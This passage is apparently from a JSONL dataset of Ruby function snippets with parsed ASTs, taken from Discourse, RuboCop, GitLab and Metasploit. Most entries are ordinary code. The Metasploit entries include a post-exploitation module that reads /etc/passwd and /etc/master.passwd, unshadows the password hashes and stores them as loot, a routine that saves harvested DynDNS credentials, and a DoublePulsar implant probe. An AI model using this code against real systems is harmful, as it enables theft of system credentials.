end","complexity_score":38.5,"ast_json":"{\"type\":\"def\",\"children\":[\"do_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"DynDNS Client Data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Field\"]},{\"type\":\"str\",\"children\":[\"Value\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"DynDNS Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"str\",\"children\":[\"Password\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cred\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"rows\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"dyndns.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"dyndns_creds.csv\"]},{\"type\":\"str\",\"children\":[\"DynDNS Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parsed creds stored in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hosts\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"rows\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"dyndns.data\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"dyndns_data.csv\"]},{\"type\":\"str\",\"children\":[\"DynDNS Client Data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parsed data stored in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},null]}]}]}","id":"c5569110-6bf5-4865-aa85-c580848f5c7b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/lib/discourse_automation/scriptable.rb","start_line":333,"raw_source":"def self.add(identifier, &block)\n      @all_scriptables = nil\n      define_method(\"__scriptable_#{identifier}\", &block)\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_scriptables\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"__scriptable_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"732d21c3-f123-49da-9219-5dee18611093"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_ms17_010.rb","start_line":195,"raw_source":"def do_smb_doublepulsar_probe(tree_id)\n    # make doublepulsar knock\n    pkt = make_smb_trans2_doublepulsar(tree_id)\n\n    sock.put(pkt)\n    bytes = sock.get_once\n\n    # convert packet to response struct\n    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct\n    pkt.from_s(bytes[4..-1])\n\n    return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_smb_doublepulsar_probe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tree_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[null,\"make_smb_trans2_doublepulsar\",{\"type\":\"lvar\",\"children\":[\"tree_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"SMB_TRANS_RES_HDR_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"from_s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MultiplexID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Signature1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Signature2\"]}]}]}]}]}","id":"76db4c8e-6dee-411a-ba71-b49266bdc60f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":2063,"raw_source":"def set_default_categories_preferences\n    return if self.staged?\n\n    values = []\n\n    # The following site settings are used to pre-populate default category\n    # tracking settings for a user:\n    #\n    # * default_categories_watching\n    # * default_categories_tracking\n    # * default_categories_watching_first_post\n    # * default_categories_normal\n    # * default_categories_muted\n    %w[watching watching_first_post tracking normal muted].each do |setting|\n      category_ids = SiteSetting.get(\"default_categories_#{setting}\").split(\"|\").map(&:to_i)\n      category_ids.each do |category_id|\n        next if category_id == 0\n        values << {\n          user_id: self.id,\n          category_id: category_id,\n          notification_level: CategoryUser.notification_levels[setting.to_sym],\n        }\n      end\n    end\n\n    CategoryUser.insert_all(values) if values.present?\n  end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_categories_preferences\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"staged?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"watching\"]},{\"type\":\"str\",\"children\":[\"watching_first_post\"]},{\"type\":\"str\",\"children\":[\"tracking\"]},{\"type\":\"str\",\"children\":[\"normal\"]},{\"type\":\"str\",\"children\":[\"muted\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"default_categories_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]}]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"to_sym\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"values\"]}]},null]}]}]}","id":"5913cc37-ce3c-46d0-aef9-dd71d33a832c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/simple_text_formatter.rb","start_line":23,"raw_source":"def started(_target_files)\n        @total_offense_count = 0\n        @total_correction_count = 0\n        @total_correctable_count = 0\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"started\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_target_files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@total_offense_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_correction_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_correctable_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"e84a5a39-377c-4d9d-8847-f9f84ac33cab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/hashed_path.rb","start_line":12,"raw_source":"def to_s\n      File.join(disk_hash[0..1], disk_hash[2..3], disk_hash, @paths.map(&:to_s))\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disk_hash\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disk_hash\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"disk_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@paths\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"08b3c1c9-4331-49a6-a6cc-091ddbdbca80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/import_export/relation_import_worker.rb","start_line":102,"raw_source":"def relation_reader\n        @relation_reader ||= Gitlab::ImportExport::Json::NdjsonReader.new(\n          File.join(tmpdir, 'tree')\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_reader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@relation_reader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Json\"]},\"NdjsonReader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]},{\"type\":\"str\",\"children\":[\"tree\"]}]}]}]}]}","id":"0b654333-70a0-4963-9ca9-956697259f68"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_connector.rb","start_line":157,"raw_source":"def self.db_connect_http(framework, opts)\n    # local database is required to use Mdm objects\n    unless framework.db.active\n      error = 'No local database connected, meaning some Metasploit features will not be available. A full list of '\\\n      'the affected features & database setup instructions can be found here: '\\\n      'https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html'\n\n      return {\n        error: error\n      }\n    end\n\n    uri = db_parse_db_uri_http(opts[:url])\n\n    remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(uri.to_s, opts)\n    begin\n      framework.db.register_data_service(remote_data_service)\n      framework.db.workspace = framework.db.default_workspace\n      {\n        result: \"Connected to HTTP data service: #{remote_data_service.name}\",\n        data_service_name: data_service_search(url: opts[:url])\n      }\n    rescue => e\n      {\n        error: \"Failed to connect to the HTTP data service: #{e.message}\"\n      }\n    end\n  end","complexity_score":25.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"db_connect_http\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"active\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No local database connected, meaning some Metasploit features will not be available. A full list of \"]},{\"type\":\"str\",\"children\":[\"the affected features & database setup instructions can be found here: \"]},{\"type\":\"str\",\"children\":[\"https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"db_parse_db_uri_http\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"remote_data_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"register_data_service\",{\"type\":\"lvar\",\"children\":[\"remote_data_service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"workspace=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"default_workspace\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to HTTP data service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_data_service\"]},\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_service_name\"]},{\"type\":\"send\",\"children\":[null,\"data_service_search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to connect to the HTTP data service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]}]}]}","id":"647054b5-b5d8-409e-9a45-f2e011ba8eba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1291,"raw_source":"def delete_organizations\n    CustomerRelations::Organization.where(group_id: id).delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_organizations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomerRelations\"]},\"Organization\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"delete_all\"]}]}","id":"3d55a32b-68d9-49a2-932a-e4cc4e7ceadb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/customer_relations/contact.rb","start_line":133,"raw_source":"def validate_email_format\n    return unless email\n\n    self.errors.add(:email, I18n.t(:invalid, scope: 'valid_email.validations.email')) unless ValidateEmail.valid?(self.email)\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_email_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ValidateEmail\"]},\"valid?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"valid_email.validations.email\"]}]}]}]}]}]}]}]}","id":"f4545909-c094-4f04-a3b4-891524c9ee46"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/bsd/gather/hashdump.rb","start_line":33,"raw_source":"def run\n    unless is_root?\n      fail_with(Failure::NoAccess, 'You must run this module as root!')\n    end\n\n    passwd = read_file('/etc/passwd').to_s\n    unless passwd.blank?\n      p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')\n      vprint_good(\"passwd saved in: #{p}\")\n    end\n\n    master_passwd = read_file('/etc/master.passwd').to_s\n    unless master_passwd.blank?\n      p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')\n      vprint_good(\"master.passwd saved in: #{p}\")\n    end\n\n    # Unshadow passswords\n    john_file = unshadow(passwd, master_passwd)\n    return if john_file == ''\n\n    john_file.each_line do |l|\n      hash_parts = l.split(':')\n      jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]\n\n      if jtr_format.empty? # overide the default\n        jtr_format = 'des,bsdi,sha512,crypt'\n      end\n\n      credential_data = {\n        jtr_format: jtr_format,\n        origin_type: :session,\n        post_reference_name: refname,\n        private_type: :nonreplayable_hash,\n        private_data: hash_parts[1],\n        session_id: session_db_id,\n        username: hash_parts[0],\n        workspace_id: myworkspace_id\n      }\n\n      create_credential(credential_data)\n      print_good(l.chomp)\n    end\n\n    p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')\n    print_good(\"Unshadowed Password File: #{p}\")\n  end","complexity_score":55.35,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"You must run this module as root!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"passwd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwd\"]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"passwd\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"passwd\"]},{\"type\":\"str\",\"children\":[\"passwd\"]},{\"type\":\"str\",\"children\":[\"BSD passwd file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"passwd saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"master_passwd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/etc/master.passwd\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"master_passwd\"]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"master.passwd\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"master_passwd\"]},{\"type\":\"str\",\"children\":[\"master.passwd\"]},{\"type\":\"str\",\"children\":[\"BSD master.passwd file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"master.passwd saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"john_file\",{\"type\":\"send\",\"children\":[null,\"unshadow\",{\"type\":\"lvar\",\"children\":[\"passwd\"]},{\"type\":\"lvar\",\"children\":[\"master_passwd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"john_file\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"john_file\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jtr_format\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"str\",\"children\":[\"des,bsdi,sha512,crypt\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"